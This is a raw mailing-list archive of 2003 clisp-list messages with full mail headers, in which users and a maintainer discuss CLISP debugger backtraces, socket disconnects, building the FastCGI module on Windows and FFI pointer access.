J.Bourguignon [2003-09-10 22:37:40 +0200]: > > In situations where there's no interactive channel to a clisp, how > could I direct the debugger to issue a backtrace automatically? > > I first tried to set a *debugger-hook*, but then I've no access to the > frames to be backtracked: > > [2]> (setq *debugger-hook* (lambda (condition last-hook) > (format t "~&ERROR: ~A" condition) > (let ((system::*debug-mode* 1) > (system::*debug-frame* (SYSTEM::THE-FRAME))) > (SYSTEM::DEBUG-BACKTRACE)))) > # (LET ((SYSTEM::*DEBUG-MODE* 1) (SYSTEM::*DEBUG-FRAME* (SYSTEM::THE-FRAME))) > (SYSTEM::DEBUG-BACKTRACE))> > [9]> (/ 1 0) > ERROR: division by zero > *** - SYSTEM::FRAME-UP-1: NIL is not a stack pointer [...] Content analysis details: (-1.10 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text UPPERCASE_50_75 (0.4 points) message body is 50-75% uppercase Subject: [clisp-list] Re: auto debugging Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 10 14:46:29 2003 X-Original-Date: 10 Sep 2003 17:38:33 -0400 >* Pascal J.Bourguignon [2003-09-10 22:37:40 +0200]: > > In situations where there's no interactive channel to a clisp, how > could I direct the debugger to issue a backtrace automatically? > > I first tried to set a *debugger-hook*, but then I've no access to the > frames to be backtracked: > > [2]> (setq *debugger-hook* (lambda (condition last-hook) > (format t "~&ERROR: ~A" condition) > (let ((system::*debug-mode* 1) > (system::*debug-frame* (SYSTEM::THE-FRAME))) > (SYSTEM::DEBUG-BACKTRACE)))) > # (LET ((SYSTEM::*DEBUG-MODE* 1) (SYSTEM::*DEBUG-FRAME* (SYSTEM::THE-FRAME))) > (SYSTEM::DEBUG-BACKTRACE))> > [9]> (/ 1 0) > ERROR: division by zero > *** - SYSTEM::FRAME-UP-1: NIL is not a stack pointer almost. see `break-loop' in src/reploop.lisp: [1]> (setq *debugger-hook* (lambda (condition last-hook) (format t "~&ERROR: ~A" condition) (let* ((sys::*frame-limit1* (sys::frame-limit1 13)) (sys::*frame-limit2* (sys::frame-limit2)) (sys::*debug-mode* 1) (sys::*debug-frame* (sys::frame-down-1 (sys::frame-up-1 sys::*frame-limit1* sys::*debug-mode*) sys::*debug-mode*))) (system::debug-backtrace)))) # [2]> (/ 0 1) 0 [3]> (/ 1 0) ERROR: division by zero [1]> # [2]> # [3]> # [4]> # 2 [5]> # - # - 0 [6]> # 1 - 1 EVAL frame for form (/ 1 0) - # [7]> # - # Printed 7 frames [4]> -- Sam Steingold (http://www.podval.org/~sds) running w2k Marriage is the sole cause of divorce. From lisp-clisp-list@m.gmane.org Wed Sep 10 14:49:22 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xCq2-00014T-00 for ; Wed, 10 Sep 2003 14:49:22 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xCpz-0000EO-93 for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 14:49:19 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xCpv-0001PX-00 for ; Wed, 10 Sep 2003 23:49:15 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19xCpu-0001PP-00 for ; Wed, 10 Sep 2003 23:49:14 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xCpx-0006vS-00 for ; Wed, 10 Sep 2003 23:49:17 +0200 From: Sam Steingold Organization: disorganization Lines: 19 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* Sam Steingold [2003-09-10 11:25:17 -0400]: > > The users of the source release 2.31 (as opposed to those who download > binaries) are urged to visit > or > > and see if there is a binary there for your platform. > if you do not see a binary for your platform, please do > "make distrib" > in your CLISP build directory and let me know from where I can download > the tar ball. [...] Content analysis details: (-1.50 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: call for binaries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 10 15:00:15 2003 X-Original-Date: 10 Sep 2003 17:49:17 -0400 >* Sam Steingold [2003-09-10 11:25:17 -0400]: > > The users of the source release 2.31 (as opposed to those who download > binaries) are urged to visit > or > > and see if there is a binary there for your platform. > if you do not see a binary for your platform, please do > "make distrib" > in your CLISP build directory and let me know from where I can download > the tar ball. to avoid clashes, please announce here your intent _before_ doing anything! -- Sam Steingold (http://www.podval.org/~sds) running w2k In the race between idiot-proof software and idiots, the idiots are winning. From lisp-clisp-list@m.gmane.org Wed Sep 10 15:00:22 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xD0g-0002Tx-00 for ; Wed, 10 Sep 2003 15:00:22 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xD0g-00048l-35 for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 15:00:22 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xD0c-0001Vp-00 for ; Thu, 11 Sep 2003 00:00:18 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19xD0a-0001Vh-00 for ; Thu, 11 Sep 2003 00:00:16 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xD0d-0007HF-00 for ; Thu, 11 Sep 2003 00:00:19 +0200 From: Sam Steingold Organization: disorganization Lines: 42 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* Darken, Chris USA [2003-09-07 06:47:36 -0700]: > > I have a CLISP program (CLISP 2.31 under WinXP) that sends characters > to a client program over a socket. My problem is that when the > connection is lost (e.g. because the client program receiving the > characters unexpectedly closes the connection on its end), my program > exits either in a call to socket-status or in a write-char to the > socket with an error like: > > *** - Winsock error 10054 (ECONNRESET): Connection reset by peer > > I don't know much about error handling under lisp, but I can't see how > to catch this error. I've searched the mailing list archive and > haven't found a solution. > > Can anyone tell me how my program could tolerate unexpected client > disconnects without exiting? [...] Content analysis details: (-1.50 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: socket problem: handling unexpected client disconnects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 10 15:05:08 2003 X-Original-Date: 10 Sep 2003 18:00:18 -0400 >* Darken, Chris USA [2003-09-07 06:47:36 -0700]: > > I have a CLISP program (CLISP 2.31 under WinXP) that sends characters > to a client program over a socket. My problem is that when the > connection is lost (e.g. because the client program receiving the > characters unexpectedly closes the connection on its end), my program > exits either in a call to socket-status or in a write-char to the > socket with an error like: > > *** - Winsock error 10054 (ECONNRESET): Connection reset by peer > > I don't know much about error handling under lisp, but I can't see how > to catch this error. I've searched the mailing list archive and > haven't found a solution. > > Can anyone tell me how my program could tolerate unexpected client > disconnects without exiting? I do not observe this with the native (mingw) port: [3]> (setq s (ext:socket-server)) # [4]> (setq l (ext:socket-accept s)) ; telnet localhost 4686 # [5]> (ext:socket-status l) :OUTPUT ; 1 [6]> (ext:socket-status l) ; close telnet :APPEND ; 1 [7]> i.e., :APPEND means :EOF on read (connection closed) are you using cygwin? -- Sam Steingold (http://www.podval.org/~sds) running w2k usually: can't pay ==> don't buy. software: can't buy ==> don't pay From pascal@informatimago.com Wed Sep 10 16:00:29 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xDwr-0001OI-00 for ; Wed, 10 Sep 2003 16:00:29 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xDwq-00087P-BC for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 16:00:28 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id EFB2C2753B; Thu, 11 Sep 2003 01:00:24 +0200 (CEST) Message-ID: <16223.44296.879346.232940@thalassa.informatimago.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: auto debugging In-Reply-To: References: <20030910203740.C3C498F883@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Sam Steingold writes: > >* Pascal J.Bourguignon [2003-09-10 22:37:40 +0200]: > > > > In situations where there's no interactive channel to a clisp, how > > could I direct the debugger to issue a backtrace automatically? > > > almost. see `break-loop' in src/reploop.lisp: > > [1]> (setq *debugger-hook* > (lambda (condition last-hook) > (format t "~&ERROR: ~A" condition) > (let* ((sys::*frame-limit1* (sys::frame-limit1 13)) > (sys::*frame-limit2* (sys::frame-limit2)) > (sys::*debug-mode* 1) > (sys::*debug-frame* > (sys::frame-down-1 (sys::frame-up-1 sys::*frame-limit1* > sys::*debug-mode*) > sys::*debug-mode*))) > (system::debug-backtrace)))) [...] Content analysis details: (-2.60 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 10 16:48:49 2003 X-Original-Date: Thu, 11 Sep 2003 01:00:24 +0200 Sam Steingold writes: > >* Pascal J.Bourguignon [2003-09-10 22:37:40 +0= 200]: > > > > In situations where there's no interactive channel to a clisp, how > > could I direct the debugger to issue a backtrace automatically? > >=20 > almost. see `break-loop' in src/reploop.lisp: >=20 > [1]> (setq *debugger-hook* > (lambda (condition last-hook) > (format t "~&ERROR: ~A" condition) > (let* ((sys::*frame-limit1* (sys::frame-limit1 13)) > (sys::*frame-limit2* (sys::frame-limit2)) > (sys::*debug-mode* 1) > (sys::*debug-frame* > (sys::frame-down-1 (sys::frame-up-1 sys::*frame-limit1* > sys::*debug-mode*) > sys::*debug-mode*))) > (system::debug-backtrace)))) Thank you, --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ Do not adjust your mind, there is a fault in reality. From synthespian@uol.com.br Wed Sep 10 19:40:14 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xHNW-0008Od-00 for ; Wed, 10 Sep 2003 19:40:14 -0700 Received: from traven9.uol.com.br ([200.221.29.35]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xHNW-0003fF-2i for clisp-list@lists.sourceforge.net; Wed, 10 Sep 2003 19:40:14 -0700 Received: from aSqueakSystem ([200.221.215.203]) by traven9.uol.com.br (8.9.1/8.9.1) with SMTP id XAA09697; Wed, 10 Sep 2003 23:38:41 -0300 (BRT) From: synthespian@uol.com.br Message-Id: <200309110238.XAA09697@traven9.uol.com.br> X-Mailer: Celeste 2.0.5170 Subject: Re: [clisp-list] Re: How do I load the fastcgi module? To: "John K. Hinsdale" Cc: synthespian@uol.com.br, clisp-list@lists.sourceforge.net X-Spam-Score: 0.6 (/) X-Spam-Report: 0.6/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: First of all, thanks your time in answering... "John K. Hinsdale" wrote: > > > Newbie help: how do I load the fastcgi module? > > The FastCGI module is available only if you're compiling CLISP from > the source code. [...] Content analysis details: (0.60 points, 5 required) NO_REAL_NAME (0.8 points) From: does not include a real name EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text DATE_IN_PAST_06_12 (0.8 points) Date: is 6 to 12 hours before Received: date Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Sep 10 19:41:02 2003 X-Original-Date: Wed, 10 Sep 2003 23:27:37 +0300 First of all, thanks your time in answering... "John K. Hinsdale" wrote: > > > Newbie help: how do I load the fastcgi module? > > The FastCGI module is available only if you're compiling CLISP from > the source code. Oh, that must be the answer, then. I thought CLISP already came with FastCGI. It seems I misinterpreted the 2.31 release notes. I don't believe it's compiled into any distributed > binaries. You're compiling from source code and not using a Windows > binary, right? >  Wrong. :-) Oh, Jesus, I'm going for the easy stuff, I'm a doctor + wannabe hacker. > > The documentation > > mentioned a lot of - to me - strange stuff: C header files, etc, that > > didn't seem to make much sense for a builtin module. The documentation I was talking about was the CLISP Implementation Notes. > > Which documentation are you talking about? The only doc, for the > CLISP FastCGI module is a brief (but fairly complete) README, which > doesn't mention anthing about header files. It's a bit out of date > now that FastCGI is distributed w/ CLISP. I can fix that. > > > I'm sorry, I forgot to add, this is on Win32. There is no "modules" > > directory in /src. > > When you unpack the source code archive for CLISP there should be a > directory called "modules" and under that "fastcgi". Maybe things are > different for Win32. I've only ever built the FastCGI on Unix. > However, the process should be the same on Windows?  I guess I don't have modules because I got a binary. Must get sources, then? How do I compile CLISP on Win32...? Hmmm...Got some reading to do... Can you just tip me here: if I have a CLISP, can I bootstrap the CLISP sources? You see, this is the thing. Under Win32, you are kind of restricted. You can't deploy SBCL or CMUCL. CLISP is very multiplatform, which makes it an excellent choice if you have to work on *Nix + Win32. In fact, my guess is once you guys get multithreading, you will be the dominant Free Software Common Lisp, because of the high quality and the multiplatform issue. Do you think I should file a bug report? > > Also: do you have the FastCGI library (downloaded from fastcgi.com) > built and installed? The CLISP module is simply an interface to this > library, which must be present. It looks like for Windows (whose web > servers use ISAPI/NSAP) you need to visit: > > http://www.caraveo.com/fastcgi/ Yes, I have FastCGI. > > Hope this helps. Let me know what you learn and I can assist from > there. > Yes, thank you for the helping hand. Best regards to you, John. From roland.averkamp@gmx.de Thu Sep 11 09:18:34 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xU9S-0001IP-00 for ; Thu, 11 Sep 2003 09:18:34 -0700 Received: from mx0.gmx.de ([213.165.64.100] helo=mx0.gmx.net) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 19xU9R-0002BI-Pr for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 09:18:33 -0700 Received: (qmail 2287 invoked by uid 0); 11 Sep 2003 16:18:02 -0000 From: Roland Averkamp To: clisp-list@lists.sourceforge.net Cc: "Hoehle, Joerg-Cyril" MIME-Version: 1.0 References: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> X-Priority: 3 (Normal) X-Authenticated-Sender: #0010600793@gmx.net X-Authenticated-IP: [193.73.126.130] Message-ID: <7455.1063297082@www56.gmx.net> X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 0.8 (/) X-Spam-Report: 0.8/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Hello, I have a foreign-adress and want to read the double-float at the memory location the address points to. So I tried to change the foreign-address behind a foreign-variable object. [...] Content analysis details: (0.80 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header SUBJ_HAS_UNIQ_ID (1.3 points) Subject contains a unique ID Subject: [clisp-list] Re: Problem with ffi:foreign-pointer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 11 10:01:51 2003 X-Original-Date: Thu, 11 Sep 2003 18:18:02 +0200 (MEST) Hello, I have a foreign-adress and want to read the double-float at the memory location the address points to. So I tried to change the foreign-address behind a foreign-variable object. How can I do this otherwise? I am trying to port the lisp odbc interface from Paul Meurer to clisp. And for this interface I need functions like "read-double-float" which read the double-float from a given memory location. Bye, Roland -- COMPUTERBILD 15/03: Premium-e-mail-Dienste im Test -------------------------------------------------- 1. GMX TopMail - Platz 1 und Testsieger! 2. GMX ProMail - Platz 2 und Preis-Qualitätssieger! 3. Arcor - 4. web.de - 5. T-Online - 6. freenet.de - 7. daybyday - 8. e-Post From lisp-clisp-list@m.gmane.org Thu Sep 11 10:44:44 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xVUq-0001rh-00 for ; Thu, 11 Sep 2003 10:44:44 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xVUq-0005jv-3Z for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 10:44:44 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xVUj-0001fD-00 for ; Thu, 11 Sep 2003 19:44:37 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19xVUi-0001f3-00 for ; Thu, 11 Sep 2003 19:44:36 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19xVUm-0005pl-00 for ; Thu, 11 Sep 2003 19:44:40 +0200 From: Sam Steingold Organization: disorganization Lines: 23 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE0699308F@G8PQD.blf01.telekom.de> <7455.1063297082@www56.gmx.net> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 X-Spam-Score: -0.2 (/) X-Spam-Report: -0.2/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: >* Roland Averkamp [2003-09-11 18:18:02 +0200]: > > I have a foreign-adress and want to read the double-float at the > memory location the address points to. [...] Content analysis details: (-0.20 points, 5 required) REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text SUBJ_HAS_UNIQ_ID (1.3 points) Subject contains a unique ID Subject: [clisp-list] Re: Problem with ffi:foreign-pointer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 11 10:52:41 2003 X-Original-Date: 11 Sep 2003 13:44:40 -0400 >* Roland Averkamp [2003-09-11 18:18:02 +0200]: > > I have a foreign-adress and want to read the double-float at the > memory location the address points to. (with-c-place (c ) (cast c 'double-float)) or maybe (with-c-place (c ) (cast c '(c-ptr double-float))) UNTESTED!!! -- Sam Steingold (http://www.podval.org/~sds) running w2k If you try to fail, and succeed, which have you done? From pascal@informatimago.com Thu Sep 11 17:54:37 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xcCo-0005RW-00 for ; Thu, 11 Sep 2003 17:54:34 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xcCn-0004xF-Af for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 17:54:33 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id C50CF26AD8; Fri, 12 Sep 2003 02:54:23 +0200 (CEST) Message-ID: <16225.6463.620651.800587@thalassa.informatimago.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: auto debugging In-Reply-To: References: <20030910203740.C3C498F883@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -1.4 (-) X-Spam-Report: -1.4/5.0 The original message has been attached along with this report, so you can recognize or block similar mail in future. See http://spamassassin.org/tag/ for more details. Content preview: Sam Steingold writes: > almost. see `break-loop' in src/reploop.lisp: > > [1]> (setq *debugger-hook* > (lambda (condition last-hook) > (format t "~&ERROR: ~A" condition) > (let* ((sys::*frame-limit1* (sys::frame-limit1 13)) > (sys::*frame-limit2* (sys::frame-limit2)) > (sys::*debug-mode* 1) > (sys::*debug-frame* > (sys::frame-down-1 (sys::frame-up-1 sys::*frame-limit1* > sys::*debug-mode*) > sys::*debug-mode*))) > (system::debug-backtrace)))) [...] Content analysis details: (-1.40 points, 5 required) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text UPPERCASE_25_50 (1.2 points) message body is 25-50% uppercase REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 11 17:56:07 2003 X-Original-Date: Fri, 12 Sep 2003 02:54:23 +0200 Sam Steingold writes: > almost. see `break-loop' in src/reploop.lisp: >=20 > [1]> (setq *debugger-hook* > (lambda (condition last-hook) > (format t "~&ERROR: ~A" condition) > (let* ((sys::*frame-limit1* (sys::frame-limit1 13)) > (sys::*frame-limit2* (sys::frame-limit2)) > (sys::*debug-mode* 1) > (sys::*debug-frame* > (sys::frame-down-1 (sys::frame-up-1 sys::*frame-limit1* > sys::*debug-mode*) > sys::*debug-mode*))) > (system::debug-backtrace)))) I had to add a catch on 'system::debug, and noted that it outputs a "Printed NN frames" to *debug-io*: (DEFUN BACKTRACE (&OPTIONAL (OUTPUT *STANDARD-OUTPUT*) (DEBUG *DEBUG-IO*= )) " DO: Prints a backtrace to the OUTPUT stream, and report the number of printed frames on the DEBUG frame. NOTE: To be used in debugger hooks, but can be called from anywhere. " (LET ((*STANDARD-OUTPUT* OUTPUT) (*DEBUG-IO* DEBUG)) (CATCH 'SYSTEM::DEBUG (LET* ((SYS::*FRAME-LIMIT1* (SYS::FRAME-LIMIT1 13)) (SYS::*FRAME-LIMIT2* (SYS::FRAME-LIMIT2)) (SYS::*DEBUG-MODE* 1) (SYS::*DEBUG-FRAME* (SYS::FRAME-DOWN-1 (SYS::FRAME-UP-1 SYS::*FRAME-LIM= IT1* SYS::*DEBUG-MOD= E*) SYS::*DEBUG-MODE*))) (SYSTEM::DEBUG-BACKTRACE)))) );;BACKTRACE Thanks again for you help. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ Do not adjust your mind, there is a fault in reality. From Joerg-Cyril.Hoehle@t-systems.com Thu Sep 11 00:40:37 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19xM4D-0004NI-00 for ; Thu, 11 Sep 2003 00:40:37 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 19xM4C-0000SG-Es for clisp-list@lists.sourceforge.net; Thu, 11 Sep 2003 00:40:36 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 11 Sep 2003 09:38:47 +0200 Received: 